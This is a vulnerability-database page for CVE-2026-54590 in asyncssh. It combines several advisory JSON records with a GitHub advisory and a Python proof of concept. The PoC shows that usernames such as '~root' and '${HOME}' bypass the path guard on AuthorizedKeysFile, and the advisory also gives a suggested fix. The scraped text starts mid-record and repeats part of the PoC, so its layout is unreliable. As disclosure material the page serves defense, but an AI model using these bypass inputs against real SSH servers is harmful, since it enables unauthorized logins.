[{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "BREW-kimi-cli-CVE-2026-54590",
"modified": "2026-09-10T19:37:20Z",
"published": "2026-08-27T12:24:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution",
"upstream": [
"GHSA-qr67-gv47-xwwh",
"CVE-2026-54590",
"PYSEC-2026-3809"
]
}
CLEANSTART-2026-BC02149 (CVE-2026-53533)
Vulnerability from cleanstart – Published: 2026-07-30 07:10 – Updated: 2026-09-18 11:59 – Source websitePackage airflow-3 version 3.1.8-r6 fixes 13 vulnerabilities: CVE-2026-53533, CVE-2026-59885, CVE-2026-59886, CVE-2026-59890, CVE-2026-49476...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.8-r6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.1.8-r6"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package airflow-3 version 3.1.8-r6 fixes 13 vulnerabilities: CVE-2026-53533, CVE-2026-59885, CVE-2026-59886, CVE-2026-59890, CVE-2026-49476...",
"id": "CLEANSTART-2026-BC02149",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/airflow"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in airflow-3 3.1.8-r6",
"upstream": [
"CVE-2026-53533",
"CVE-2026-59885",
"CVE-2026-59886",
"CVE-2026-59890",
"CVE-2026-49476",
"CVE-2026-49477",
"CVE-2026-48891",
"CVE-2026-59884",
"CVE-2026-59939",
"CVE-2026-54590",
"CVE-2026-54591",
"CVE-2026-59245",
"CVE-2026-45192"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CLEANSTART-2026-ER33970 (CVE-2026-44405)
Vulnerability from cleanstart – Published: 2026-07-30 07:10 – Updated: 2026-09-18 11:59 – Source websitePackage airflow-3 version 3.2.2-r2 fixes 3 vulnerabilities: CVE-2026-44405, CVE-2026-54590, CVE-2026-54591
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.2-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.2-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package airflow-3 version 3.2.2-r2 fixes 3 vulnerabilities: CVE-2026-44405, CVE-2026-54590, CVE-2026-54591",
"id": "CLEANSTART-2026-ER33970",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/airflow"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in airflow-3 3.2.2-r2",
"upstream": [
"CVE-2026-44405",
"CVE-2026-54590",
"CVE-2026-54591"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CLEANSTART-2026-IL04203 (CVE-2026-54590)
Vulnerability from cleanstart – Published: 2026-09-18 09:45 – Updated: 2026-08-14 09:49 – Source websiteCVE-2026-54590 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.8-r6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.1-r6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.2-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "CVE-2026-54590 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-IL04203",
"modified": "2026-08-14T09:49:27Z",
"published": "2026-09-18T09:45:38.619729Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-IL04203.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fix for CVE-2026-54590 applied in: airflow-3 3.1.8-r6, airflow-3 3.2.1-r6, airflow-3 3.2.2-r2",
"upstream": [
"CVE-2026-54590"
]
}
CLEANSTART-2026-IU24971 (CVE-2026-59885)
Vulnerability from cleanstart – Published: 2026-07-30 07:10 – Updated: 2026-09-18 11:59 – Source websitePackage airflow-3 version 3.2.2-r1 fixes 16 vulnerabilities: CVE-2026-59885, CVE-2026-59886, CVE-2026-59884, CVE-2026-59939, CVE-2026-54590...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.2-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.2-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package airflow-3 version 3.2.2-r1 fixes 16 vulnerabilities: CVE-2026-59885, CVE-2026-59886, CVE-2026-59884, CVE-2026-59939, CVE-2026-54590...",
"id": "CLEANSTART-2026-IU24971",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/airflow"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in airflow-3 3.2.2-r1",
"upstream": [
"CVE-2026-59885",
"CVE-2026-59886",
"CVE-2026-59884",
"CVE-2026-59939",
"CVE-2026-54590",
"CVE-2026-54591",
"CVE-2026-58203",
"CVE-2026-59884",
"CVE-2026-49477",
"ghsa-4xgf-cpjx-pc3j",
"CVE-2026-59890",
"CVE-2026-44405",
"ghsa-6v7p-g79w-8964",
"CVE-2026-48990",
"CVE-2026-49852",
"CVE-2026-53533"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
FKIE_CVE-2026-54590
Vulnerability from fkie_nvd - Published: 2026-07-08 21:16 - Updated: 2026-07-10 19:22| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "asyncssh",
"vendor": "ronf",
"versions": [
{
"status": "affected",
"version": "\u003c 2.23.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1."
}
],
"id": "CVE-2026-54590",
"lastModified": "2026-07-10T19:22:24.347",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-54590",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-10T15:00:13.292812Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-08T21:16:49.523",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
},
{
"lang": "en",
"value": "CWE-639"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-QR67-GV47-XWWH
Vulnerability from github – Published: 2026-08-26 15:32 – Updated: 2026-08-26 15:32Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54590"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:32:00Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "MODERATE"
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n 